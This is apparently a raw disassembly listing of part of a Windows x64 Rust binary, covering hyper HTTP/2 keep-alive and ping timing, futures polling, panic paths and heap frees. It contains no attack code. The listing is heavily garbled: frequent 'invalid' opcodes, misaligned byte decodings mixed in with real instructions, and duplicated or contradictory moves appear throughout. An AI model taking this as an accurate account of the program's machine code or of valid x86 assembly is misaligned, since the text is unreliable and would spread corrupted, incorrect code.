mov byte [rsi + 0xa59], 0
or al, byte [rax]
add byte [rax], al
mov rbx, qword [rsi + 0xa60]
mov bpl, 1
mov al, 1
xchg byte [rbx + 0x40], al
or al, byte [rax]
add byte [rax - 0x4b], al
add dword [rax + 0x40438601], esi
mov al, 1
xchg byte [rbx + 0x20], al
test al, al
jne 0x1400973d6
mov rax, qword [rbx + 0x10]
mov rcx, qword [rbx + 0x18]
mov qword [rbx + 0x10], 0
adc byte [r8], al
add byte [rax], al
add byte [rcx], dh
rol byte [rsi - 0x7ab7dfad], cl
invalid
je 0x1400973d6
call qword [rax + 8]
xchg byte [rbx + 0x38], bpl
test bpl, bpl
jne 0x1400973fc
mov rax, qword [rbx + 0x28]
mov rcx, qword [rbx + 0x30]
mov qword [rbx + 0x28], 0
test rax, rax
je case.0x140095e7c.16
call qword [rax + 0x18]
xor eax, eax
xchg byte [rbx + 0x38], al
lea r14, [rsi + 0xa60]
lock dec qword [rbx]
jne 0x140097411
invalid
add byte [rax], al
mov r8d, 0x520
mov rcx, r14
call fcn.140106530
lea rbx, [rsi + 0xa60]
mov rcx, rbx
mov rdx, rdi
call fcn.1400975f0
cmp al, 2
jne 0x140097446
mov al, 1
mov cl, 4
jmp 0x14009751b
cmp dword [rbx], 3
je 0x140097453
mov rcx, rbx
call fcn.140098310
cmp qword [rsi + 0x538], 4
je 0x140097475
jmp 0x14009747e
test byte [rsi + 0x548], 1
jne 0x1400974f7
cmp byte [rsi + 0xa59], 0
or al, byte [rax]
add byte [rax], al
je 0x140097510
mov rdi, qword [rsi + 0xa60]
mov bl, 1
mov al, 1
xchg byte [rdi + 0x40], al
mov al, 1
add byte [rbx - 0x79fe4fff], dh
mov al, 1
xchg byte [rdi + 0x20], al
test al, al
jne 0x1400974bf
mov rax, qword [rdi + 0x10]
mov rcx, qword [rdi + 0x18]
sbb byte [rax - 0x39], cl
adc byte [r8], r8b
add byte [rax], al
add byte [rcx], dh
rol byte [rsi - 0x7ab7dfa9], cl
invalid
je 0x1400974bf
sbb byte [rax - 0x39], cl
adc byte [r8], r8b
add byte [rax], al
add byte [rcx], dh
rol byte [rsi - 0x7ab7dfa9], cl
sal byte [rbx + rax - 1], 0x50
or byte [rsi - 0x247bc7a1], al
call qword [rax + 8]
xchg byte [rdi + 0x38], bl
test bl, bl
jne 0x1400974e3
mov rax, qword [rdi + 0x28]
mov rcx, qword [rdi + 0x30]
mov qword [rdi + 0x28], 0
sub byte [rax], al
add byte [rax], al
add byte [rax - 0x7b], cl
invalid
je 0x1400974de
sub byte [rax], al
add byte [rax], al
add byte [rax - 0x7b], cl
sal byte [rbx + rax - 1], 0x50
sbb byte [rcx], dh
rol byte [rsi + 0x48f03847], 0xff
cmp r8b, r14b
dec qword [rdi]
jne 0x140097510
call qword [rax + 0x18]
xor eax, eax
xchg byte [rdi + 0x38], al
invalid
invalid
cmp r8b, r14b
dec qword [rdi]
lock dec qword [rdi]
jne 0x140097510
mov rcx, qword [rsi + 0xa60]
call fcn.140034b00
jmp 0x140097510
mov ss, word [rax + 5]
add byte [rax], al
call fcn.140098950
cmp byte [rsi + 0xa59], 0
add byte [rdi], cl
test dword [rbx - 1], edi
invalid
invalid
invalid
add byte [rdi], cl
test dword [rbx - 1], edi
invalid
invalid
mov byte [rsi + 0xa59], 0
mov cl, 1
xor eax, eax
mov byte [rsi + 0xa58], cl
movaps xmm6, xmmword [rsp + 0xf80]
add rsp, 0xf98
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov qword [rbp + 0x18], rcx
lea rcx, str.assertion_failed:__next_.value.is_some__
lea r8, [0x14013e348]
lea eax, [0x14013e348]
lea eax, [0x14013e348]
mov edx, 0x29
call fcn.140108630
add byte [rax], al
add al, ch
xlatb
adc byte [rdi], al
add byte [rax - 0x73], cl
lea rcx, str.internal_error:_entered_unreachable_code_rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrary_std_src_threadmod.rs
lea rcx, str.internal_error:_entered_unreachable_code_rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrary_std_src_threadmod.rs
lea r8, [0x1401430d8]
lea eax, [0x1401430d8]
mov edx, 0x28
call fcn.140108630
lea rcx, [0x140140c40]
call fcn.140108b60
lea rcx, str.cannot_poll_Select_twiceC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_future_select.rs
lea r8, [0x1401430c0]
lea eax, [0x1401430c0]
mov edx, 0x18
call fcn.140108990
lea rcx, str.Map_must_not_be_polled_after_it_returned__Poll::Ready_
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_future_futuremap.rs
mov edx, 0x36
call fcn.14010d200
push rbx
pop rsp
invalid
invalid
lea rcx, [0x14013d781]
lea r8, [0x14013d818]
or al, byte [rax]
or al, byte [rax]
mov edx, 0x1a
call fcn.140108990
lea rcx, [0x14013d830]
call fcn.140108970
invalid
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_channel_0.3.30_srcmpscmod.rs
call fcn.140108970
xchg ebx, eax
adc eax, dword [rdi]
invalid
xchg ebx, eax
adc eax, dword [rdi]
add byte [rax - 0x73], cl
or eax, 0x7eccc
lea rcx, [0x1401162b0]
call fcn.140108970
ud2
clc
add cl, byte [rdi]
test byte [rax - 0x7cffffff], cl
add byte [rbx - 0x7bf0fc08], al
sub al, 0xc
add byte [rbx - 0x7bf0fc08], al
sub al, 0xc
add byte [rax], al
call fcn.1400df770
mov rbx, rax
mov dword [rsp + 0x28], edx
mov rbp, qword [rsi + 0x518]
lea rax, [rbp + 0x10]
mov qword [rsp + 0x68], rax
mov cl, 1
xor eax, eax
lock cmpxchg byte [rbp + 0x10], cl
jne 0x140097f0e
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x140097f2b
mov dword [rsp + 0x2c], 0
mov qword [rsp + 0x70], rbx
movzx eax, byte [rbp + 0x11]
test al, al
jne 0x140097f47
mov rax, qword [rsi + 0x518]
mov rbx, qword [rax]
lea r12, [rsi + 0x4e8]
cmp dword [rsi + 0x4f0], 0x3b9aca00
je 0x14009774b
cmp rbx, 3
setb dl
lea r13, [rbp + 0x18]
mov rcx, r12
mov r8, r13
call fcn.140039140
cmp byte [rsi + 0x511], 1
jne 0x14009774b
mov r14, qword [rsi + 0x508]
mov r15, qword [rdi]
mov rcx, r14
mov rdx, r15
call fcn.1400f43e0
test al, al
jne 0x14009774b
mov eax, dword [rbp + 0x50]
cmp eax, 0x3b9aca00
je 0x140098293
mov rcx, qword [rbp + 0x48]
add rcx, qword [r12]
jb 0x140098263
add eax, dword [rsi + 0x4f0]
cmp eax, 0x3b9aca00
jb 0x14009770a
inc rcx
je 0x140098263
add eax, 0xc4653600
xor edx, edx
cmp rcx, qword [r14 + 0x10]
setne dl
mov ecx, 0xff
cmovb edx, ecx
xor r8d, r8d
cmp eax, dword [r14 + 0x18]
setne r8b
cmovb r8d, ecx
test dl, dl
cmovne r8d, edx
cmp r8b, 1
jne 0x140097ad9
mov byte [rsi + 0x511], 0
mov rax, qword [r15]
mov rcx, qword [r15 + 8]
call qword [rax + 0x10]
cmp dword [rbp + 0x30], 0x3b9aca00
jne 0x140097b65
mov ebx, 2
cmp byte [rsp + 0x2c], 0
jne 0x140097777
invalid
adc ecx, dword [rax - 0x75]
add eax, 0xeab9d
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x14009810d
xor eax, eax
mov rcx, qword [rsp + 0x68]
mov ecx, dword [rsp + 0x68]
mov ecx, dword [rsp + 0x68]
xchg byte [rcx], al
cmp al, 2
je 0x14009807f
test ebx, ebx
je 0x14009808d
mov r14, rsi
cmp ebx, 1
je 0x14009789b
jmp 0x1400977a2
mov r15, qword [r14 + 0x408]
lea rcx, [r15 + 0x10]
mov dl, 1
xor eax, eax
lock cmpxchg byte [r15 + 0x10], dl
jne 0x140097a5a
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x140097a78
xor eax, eax
movzx edx, byte [r15 + 0x11]
test dl, dl
jne 0x140097a92
mov bl, 1
cmp qword [r15 + 0x30], 0
jne 0x1400977f3
cmp qword [r15 + 0x40], 0
je 0x140097994
test al, al
jne 0x14009780a
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x140097f82
xor eax, eax
xchg byte [rcx], al
cmp al, 2
jne 0x140097818
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
test bl, bl
jne 0x14009786b
mov rcx, qword [r14 + 0x408]
add rcx, 0x10
lea rbx, [r14 + 0x3a8]
call fcn.140099810
mov dword [rsp + 0x50], eax
mov dword [rsp + 0x54], 0
lea rax, [0x14013e948]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
xorpd xmm0, xmm0
movupd xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x30]
mov rcx, rbx
call fcn.14001f190
lea rcx, [rsp + 0xa0]
mov rdx, r14
mov r8, rdi
call fcn.140099910
movzx eax, byte [rsp + 0xa0]
cmp eax, 3
je 0x14009789b
cmp eax, 4
jne 0x140097927
mov al, 2
jmp 0x140097a46
mov bpl, 5
cmp dword [rsi], 3
je 0x14009822c
mov rcx, rsi
call fcn.140098310
mov qword [rsi], 3
cmp bpl, 5
je 0x140097a3f
mov byte [rsp + 0x30], bpl
mov byte [rsp + 0x31], r14b
mov dword [rsp + 0x34], ebx
mov qword [rsp + 0x38], rdi
mov dword [rsp + 0x38], edi
mov dword [rsp + 0x38], edi
movapd xmm0, xmmword [rsp + 0x80]
movupd xmmword [rsp + 0x40], xmm0
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x50], rax
movzx eax, bpl
lea ecx, [rax - 2]
cmp ecx, 2
jb 0x140097a3f
test eax, eax
je 0x140097a3f
cmp eax, 1
jne 0x1400979ee
lea rcx, [rsp + 0x50]
mov rdx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x48]
call qword [rdi + 0x10]
jmp 0x140097a3f
movupd xmm0, xmmword [rsp + 0xa0]
movupd xmm1, xmmword [rsp + 0xb0]
movapd xmmword [rsp + 0x30], xmm0
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x50], rax
movapd xmmword [rsp + 0x40], xmm1
movzx eax, byte [rsp + 0x30]
cmp eax, 2
je 0x1400979ac
cmp eax, 1
jne 0x1400979d9
mov rdi, qword [rsp + 0x38]
movapd xmm0, xmmword [rsp + 0x40]
movapd xmmword [rsp + 0x80], xmm0
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x90], rax
mov ebx, dword [rsp + 0x34]
mov bpl, 1
movzx r14d, byte [rsp + 0x31]
jmp 0x14009789e
cmp qword [r15 + 0x238], 2
setae bl
test al, al
jne 0x14009780a
jmp 0x1400977f7
movzx ecx, byte [rsp + 0x31]
movabs rax, 0x8000000000000000
cmp qword [rsp + 0x38], rax
jne 0x140097ac4
movzx edi, cl
shl rdi, 0x20
or rdi, 3
mov bpl, 4
jmp 0x14009789e
mov ebx, dword [rsp + 0x34]
mov edi, dword [rsp + 0x38]
movzx r14d, byte [rsp + 0x31]
xor ebp, ebp
jmp 0x14009789e
mov eax, edi
and eax, 3
cmp eax, 1
jne 0x140097a3f
lea rsi, [rdi - 1]
mov rbx, qword [rdi - 1]
mov rdi, qword [rdi + 7]
mov rcx, rbx
call qword [rdi]
cmp qword [rdi + 8], 0
je 0x140097a2d
cmp qword [rdi + 0x10], 0x11
jb 0x140097a1b
mov rbx, qword [rbx - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp bpl, 5
setne al
add rsp, 0xc8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rbx, rcx
call fcn.140110530
mov rcx, rbx
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
je 0x1400977d0
mov rbx, rcx
call fcn.1401105f0
mov rcx, rbx
xor al, 1
movzx edx, byte [r15 + 0x11]
test dl, dl
je 0x1400977df
mov qword [rsp + 0x30], rcx
mov byte [rsp + 0x38], al
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14013fa88]
lea r8, [rsp + 0x30]
mov edx, 0x2b
call fcn.1401088e0
lea rdx, [rsp + 0x38]
call fcn.14001ed30
mov rdi, rax
mov bpl, 4
jmp 0x14009789e
mov rcx, r13
call fcn.140035a70
mov byte [rsi + 0x511], 2
call fcn.1400df770
add rax, qword [rsi + 0x4f8]
jb 0x140098263
mov r8d, edx
add r8d, dword [rsi + 0x500]
cmp r8d, 0x3b9aca00
jb 0x140097b49
inc rax
je 0x140098263
add r8d, 0xc4653600
cmp r8d, 0x3b9aca00
jb 0x140097b49
mov ecx, r8d
shr ecx, 9
imul rcx, rcx, 0x44b83
shr rcx, 0x27
add rax, rcx
jb 0x1400982cf
imul ecx, ecx, 0x3b9aca00
sub r8d, ecx
mov rcx, qword [rsi + 0x508]
mov rdx, rax
call fcn.1400f4760
cmp dword [rbp + 0x30], 0x3b9aca00
je 0x140097758
mov r13, qword [rbp + 0x58]
mov rcx, qword [rdi]
mov edx, 1
xor eax, eax
lock cmpxchg qword [r13 + 0x40], rdx
cmp rax, 2
je 0x140097bb4
test rax, rax
jne 0x140097c19
mov rdx, qword [r13 + 0x30]
mov rax, qword [rcx]
test rdx, rdx
je 0x140097bc1
mov rcx, qword [rcx + 8]
cmp qword [r13 + 0x38], rcx
jne 0x140097bc5
cmp rdx, rax
jne 0x140097bc5
xor ecx, ecx
mov eax, 1
lock cmpxchg qword [r13 + 0x40], rcx
jne 0x140097bf4
jmp 0x140097c19
mov rax, qword [rcx]
mov rcx, qword [rcx + 8]
add rax, 0x10
jmp 0x140097c17
mov rcx, qword [rcx + 8]
call qword [rax]
mov r14, rax
mov r15, rdx
mov rax, qword [r13 + 0x30]
test rax, rax
je 0x140097bdd
mov rcx, qword [r13 + 0x38]
call qword [rax + 0x18]
mov qword [r13 + 0x30], r14
mov qword [r13 + 0x38], r15
xor ecx, ecx
mov eax, 1
lock cmpxchg qword [r13 + 0x40], rcx
je 0x140097c19
mov rax, qword [r13 + 0x30]
mov rcx, qword [r13 + 0x38]
mov qword [r13 + 0x30], 0
test rax, rax
je 0x1400982ab
xor edx, edx
xchg qword [r13 + 0x40], rdx
add rax, 8
call qword [rax]
xor ecx, ecx
mov eax, 3
lock cmpxchg qword [r13 + 0x10], rcx
cmp rax, 3
je 0x140097cb2
cmp rax, 4
je 0x14009804c
cmp dword [rsi + 0x4f0], 0x3b9aca00
je 0x14009804c
cmp byte [rsi + 0x511], 2
jb 0x14009804c
mov rcx, qword [rsi + 0x508]
mov rdx, qword [rdi]
call fcn.1400f43e0
test al, al
jne 0x14009804c
cmp dword [rsi + 0x4f0], 0x3b9aca00
je 0x1400981e3
mov r14, qword [rsi + 0x508]
mov rcx, r14
call fcn.1400ec890
lea rcx, [r14 + 8]
cmp qword [r14], 0
je 0x1400981b3
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x1400981c1
call fcn.1400391e0
jmp 0x1400981c1
mov r8d, dword [rbp + 0x30]
cmp r8d, 0x3b9aca00
je 0x14009827b
mov rdx, qword [rbp + 0x28]
mov dword [rbp + 0x30], 0x3b9aca00
mov r13, qword [rsp + 0x70]
mov qword [rsp + 0x30], r13
mov eax, dword [rsp + 0x28]
mov dword [rsp + 0x38], eax
lea rcx, [rsp + 0x30]
call fcn.1400d5b50
mov r15d, edx
xor r14d, r14d
cmp edx, 0x3b9aca00
cmovne r14d, edx
cmp dword [rsi + 0x4f0], 0x3b9aca00
je 0x140097d40
mov qword [rsp + 0x78], rax
lea r13, [rbp + 0x18]
cmp dword [rbp + 0x50], 0x3b9aca00
je 0x140097d24
call fcn.1400df770
mov qword [rbp + 0x48], rax
mov dword [rbp + 0x50], edx
cmp rbx, 3
setb dl
mov rcx, r12
mov r8, r13
call fcn.140039140
mov r13, qword [rsp + 0x70]
mov rax, qword [rsp + 0x78]
cmp dword [rsi + 0x4c8], 0x3b9aca00
je 0x14009804c
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rax - 0x7d], cl
jge 0x140097d6c
cmp qword [rbp + 0x18], 0
je 0x1400982b7
add byte [rdi], cl
test byte [rbp + rax], bl
add byte [rax - 0x77], cl
ret 0x8b48
mov rdx, rax
mov rcx, qword [rbp + 0x20]
mov qword [rbp + 0x18], 1
mov qword [rbp + 0x20], 0
mov eax, dword [rsi + 0x4e0]
cmp rax, 0x1000000
and byte [r8], r8b
add byte [rax], al
add byte [rbx + 0x4e086], cl
add byte [rax + 0x3d], cl
add byte [rax], al
add byte [rcx], al
je 0x140097e41
xorpd xmm0, xmm0
xorpd xmm1, xmm1
cmp r15d, 0x3b9aca00
je 0x140097db6
movq xmm2, rdx
punpckldq xmm2, xmmword [0x1401136d0]
subpd xmm2, xmmword [0x1401136e0]
movapd xmm1, xmm2
unpckhpd xmm1, xmm2
addsd xmm1, xmm2
mov edx, r14d
xorps xmm2, xmm2
cvtsi2sd xmm2, rdx
divsd xmm2, qword [0x140113a50]
addsd xmm2, xmm1
movsd xmm1, qword [rsi + 0x4d8]
movapd xmm3, xmm2
subsd xmm3, xmm1
mulsd xmm3, qword [0x140113a58]
movsd xmm4, qword [rsi + 0x4d0]
addsd xmm3, xmm1
cmpeqsd xmm0, xmm1
andpd xmm2, xmm0
andnpd xmm0, xmm3
orpd xmm0, xmm2
movlpd qword [rsi + 0x4d8], xmm0
movq xmm2, rcx
punpckldq xmm2, xmmword [0x1401136d0]
subpd xmm2, xmmword [0x1401136e0]
movapd xmm1, xmm2
unpckhpd xmm1, xmm2
mulsd xmm0, qword [0x140113a60]
addsd xmm1, xmm2
divsd xmm1, xmm0
ucomisd xmm4, xmm1
jbe 0x140097f9f
mov r9, qword [rsi + 0x4c0]
mov ecx, dword [rsi + 0x4c8]
cmp r9, 9
ja 0x140097eb4
mov eax, dword [rsi + 0x4e4]
inc eax
mov dword [rsi + 0x4e4], eax
cmp eax, 1
jbe 0x140097eb4
mov r8d, ecx
shl r8, 2
movabs rdx, 0x44b82fa0a
mov rax, r8
mul rdx
imul eax, edx, 0x3b9aca00
sub r8d, eax
shr ecx, 7
imul rax, rcx, 0x112e0bf
shr rax, 0x2d
lea r9, [rax + r9*4]
mov qword [rsi + 0x4c0], r9
mov dword [rsi + 0x4c8], r8d
mov dword [rsi + 0x4e4], 0
mov ecx, r8d
mov ecx, eax
mov ecx, eax
add r13, r9
jb 0x140098263
add ecx, dword [rsp + 0x28]
cmp ecx, 0x3b9aca00
jb 0x140098045
inc r13
je 0x140098263
add ecx, 0xc4653600
cmp ecx, 0x3b9aca00
jb 0x140098045
mov eax, ecx
shr eax, 9
imul rax, rax, 0x44b83
shr rax, 0x27
add r13, rax
jb 0x1400982cf
imul eax, eax, 0x3b9aca00
sub ecx, eax
jmp 0x140098045
mov rcx, qword [rsp + 0x68]
call fcn.140110530
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
je 0x14009765d
call fcn.1401105f0
xor al, 1
mov dword [rsp + 0x2c], eax
mov qword [rsp + 0x70], rbx
movzx eax, byte [rbp + 0x11]
test al, al
je 0x140097676
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x30], rax
mov eax, dword [rsp + 0x2c]
mov byte [rsp + 0x38], al
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh2ping.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14012b758]
lea r8, [rsp + 0x30]
mov edx, 0x2b
call fcn.1401088e0
mov r12, rcx
call fcn.1401105f0
mov rcx, r12
test al, al
jne 0x14009780a
mov byte [r15 + 0x11], 1
jmp 0x14009780a
movsd qword [rsi + 0x4d0], xmm1
add rax, rax
movabs rdx, 0x5555555555555556
mul rdx
cmp rdx, rcx
jbe 0x140098123
mov r8, qword [rsi + 0x4c0]
mov r9d, dword [rsi + 0x4c8]
cmp r8, 9
ja 0x140098034
mov eax, dword [rsi + 0x4e4]
inc eax
mov dword [rsi + 0x4e4], eax
cmp eax, 2
jb 0x140098034
lea rcx, [r9*4]
movabs rdx, 0x44b82fa0a
mov rax, rcx
mul rdx
imul eax, edx, 0x3b9aca00
sub ecx, eax
shr r9d, 7
imul rax, r9, 0x112e0bf
shr rax, 0x2d
lea r8, [rax + r8*4]
mov qword [rsi + 0x4c0], r8
mov dword [rsi + 0x4c8], ecx
mov dword [rsi + 0x4e4], 0
mov r9d, ecx
mov rcx, r13
mov edx, dword [rsp + 0x28]
call fcn.1400f40c0
mov r13, rax
mov ecx, edx
mov qword [rbp + 0x38], r13
mov dword [rbp + 0x40], ecx
cmp byte [rsp + 0x2c], 0
jne 0x140098066
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x14009819d
xor eax, eax
mov rcx, qword [rsp + 0x68]
xchg byte [rcx], al
mov r14, rsi
cmp al, 2
jne 0x1400977a2
mov ebx, 2
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
test ebx, ebx
jne 0x140097790
mov rcx, qword [rsi + 0x408]
mov edx, r12d
call fcn.14007aea0
cmp dword [rsi + 0x440], 2
jb 0x140098102
mov qword [rsi + 0x440], 0
mov dword [rsi + 0x44c], 0
mov dword [rsi + 0x454], 0
mov dword [rsi + 0x45c], 1
mov dword [rsi + 0x460], r12d
mov dword [rsi + 0x464], 0
mov dword [rsi + 0x46c], 0
mov dword [rsi + 0x474], 0
mov byte [rsi + 0x47c], 0
mov r14, rsi
jmp 0x1400977a2
mov bpl, 3
mov r14b, 0xa
jmp 0x14009789e
call fcn.1401105f0
test al, al
jne 0x140097777
mov byte [rbp + 0x11], 1
jmp 0x140097777
add rcx, rcx
cmp rcx, 0x1000000
mov r12d, 0x1000000
cmovb r12, rcx
mov dword [rsi + 0x4e0], r12d
mov dword [rsi + 0x4e4], 0
mov rax, qword [rsi + 0x4c0]
add byte [rax], al
add byte [rax], al
mov ecx, dword [rsi + 0x4c8]
mov r8, rax
shr r8, 1
shr ecx, 1
lea r9d, [rcx + 0x1dcd6500]
test al, 1
cmove r9d, ecx
mov qword [rsi + 0x4c0], r8
mov dword [rsi + 0x4c8], r9d
mov rcx, r13
mov edx, dword [rsp + 0x28]
call fcn.1400f40c0
mov qword [rbp + 0x38], rax
mov dword [rbp + 0x40], edx
xor ebx, ebx
cmp byte [rsp + 0x2c], 0
jne 0x140097777
jmp 0x140097764
call fcn.1401105f0
test al, al
jne 0x140098066
mov byte [rbp + 0x11], 1
jmp 0x140098066
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x1400981c1
call fcn.140069420
mov rax, qword [r14 + 0x48]
test rax, rax
je 0x1400981d1
mov rcx, qword [r14 + 0x50]
call qword [rax + 0x18]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov dword [rsi + 0x4f0], 0x3b9aca00
movupd xmm0, xmmword [rsp + 0x30]
movupd xmm1, xmmword [rsp + 0x40]
movupd xmmword [rsi + 0x4f4], xmm0
movupd xmmword [rsi + 0x504], xmm1
mov eax, dword [rsp + 0x50]
and al, 0x50
and al, 0x50
mov dword [rsi + 0x514], eax
mov byte [rbp + 0x60], 1
mov ebx, 1
cmp byte [rsp + 0x2c], 0
jne 0x140097777
jmp 0x140097764
mov qword [rsi], 3
lea rcx, str.internal_error:_entered_unreachable_code_rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrary_std_src_threadmod.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_future_futuremap.rs
mov edx, 0x28
call fcn.140108630
lea rcx, str.Map_must_not_be_polled_after_it_returned__Poll::Ready_
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_future_futuremap.rs
mov edx, 0x36
call fcn.14010d200
lea rcx, str.overflow_when_adding_duration_to_instantlibrary_std_src_time.rs
lea r8, [0x14014a670]
mov edx, 0x28
call fcn.140108990
lea rcx, str.pong_received_implies_ping_sent_at
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh2ping.rs
mov edx, 0x22
call fcn.140108990
lea rcx, str.keep_alive_expects_last_read_at
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh2ping.rs
mov edx, 0x1f
call fcn.140108990
lea rcx, [0x1401162b0]
call fcn.140108970
lea rcx, str.bdp_enabled_implies_bytes
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh2ping.rs
mov edx, 0x19
call fcn.140108990
lea rax, str.overflow_in_Duration::new
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x40], 8
xorpd xmm0, xmm0
movupd xmmword [rsp + 0x48], xmm0
lea rdx, str._rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrarycore_src_time.rs
lea rcx, [rsp + 0x30]
call fcn.140108560
int3
std
invalid
scasd eax, dword [rdi]
invalid
mov edi, dword [rsi + 0x80]
mov rax, qword [rsi + 0x88]
xor edx, edx
cmp rax, r14
mov rcx, r14
cmovb rcx, rdx
mov r8, rax
sub r8, rcx
mov r13, r14
sub r13, r8
lea rbp, [r8 + r12]
cmp r13, r12
cmovb rbp, r14
mov r15, r12
sub r15, r13
cmovb r15, rdx
sub rbp, r8
je 0x1400984b1
shl rax, 5
lea rax, [rax + rax*2]
shl rcx, 5
lea rcx, [rcx + rcx*2]
sub rax, rcx
lea rbx, [rdi + rax]
add rbx, 0x10
nop word cs:[rax + rax]
mov rcx, rbx
call fcn.14001d860
add rbx, 0x60
dec rbp
jne 0x1400984a0
cmp r13, r12
jae 0x1400984d1
add rdi, 0x10
nop word [rax + rax]
mov rcx, rdi
call fcn.14001d860
add rdi, 0x60
dec r15
jne 0x1400984c0
test r14, r14
je 0x1400984ec
mov r8, qword [rsi + 0x80]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov r8, qword [rsi + 0x160]
test r8b, 1
jne 0x140098528
lock dec qword [r8 + 0x20]
jne 0x14009854e
mov rax, qword [r8 + 0x20]
cmp qword [r8], 0
je 0x14009853f
mov rax, qword [r8 + 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov rdi, r8
mov r8, rax
call qword [sym.imp.kernel32.dll_HeapFree]
mov r8, rdi
jmp 0x14009853f
shr r8, 5
neg r8
cmp qword [rsi + 0x158], r8
je 0x14009854e
add r8, qword [rsi + 0x148]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi + 0x100]
cmp rax, 4
je 0x14009858d
cmp eax, 3
je 0x14009856e
cmp eax, 1
je 0x14009891e
test rax, rax
jne 0x14009858d
lea rcx, [rsi + 0x120]
mov rax, qword [rsi + 0x108]
mov rdx, qword [rsi + 0x110]
mov r8, qword [rsi + 0x118]
call qword [rax + 0x10]
mov rax, qword [rsi + 0xb8]
cmp rax, 3
je 0x1400985e5
cmp eax, 1
je 0x1400985c5
test rax, rax
test rax, rax
jne 0x1400985e5
lea rcx, [rsi + 0xd8]
mov rax, qword [rsi + 0xc0]
mov rdx, qword [rsi + 0xc8]
mov r8, qword [rsi + 0xd0]
call qword [rax + 0x10]
jmp 0x1400985e5
cmp qword [rsi + 0xc8], 0
je 0x1400985e5
mov r8, qword [rsi + 0xc0]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov r8, qword [rsi + 0x1b8]
test r8b, 1
jne 0x140098621
lock dec qword [r8 + 0x20]
jne 0x140098647
mov rax, qword [r8 + 0x20]
cmp qword [r8], 0
je 0x140098638
mov rax, qword [r8 + 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov rdi, r8
mov r8, rax
call qword [sym.imp.kernel32.dll_HeapFree]
mov r8, rdi
jmp 0x140098638
shr r8, 5
neg r8
cmp qword [rsi + 0x1b0], r8
je 0x140098647
add r8, qword [rsi + 0x1a0]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov r14, qword [rsi + 0x1d8]
mov r12, qword [rsi + 0x1f0]
test r12, r12
je 0x1400986d1
mov rdi, qword [rsi + 0x1e0]
mov rax, qword [rsi + 0x1e8]
xor ecx, ecx
cmp rax, r14
mov rdx, r14
cmovb rdx, rcx
sub rax, rdx
mov r13, r14
sub r13, rax
lea rbp, [rax + r12]
cmp r13, r12
cmovb rbp, r14
mov r15, r12
sub r15, r13
cmovb r15, rcx
sub rbp, rax
je 0x1400986b1
lea rax, [rax + rax*8]
lea rbx, [rdi + rax*8]
nop
mov rcx, rbx
call fcn.14001d860
add rbx, 0x48
dec rbp
jne 0x1400986a0
cmp r13, r12
jae 0x1400986d1
nop word cs:[rax + rax]
mov rcx, rdi
call fcn.14001d860
add rdi, 0x48
dec r15
jne 0x1400986c0
test r14, r14
je 0x1400986ec
mov r8, qword [rsi + 0x1e0]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
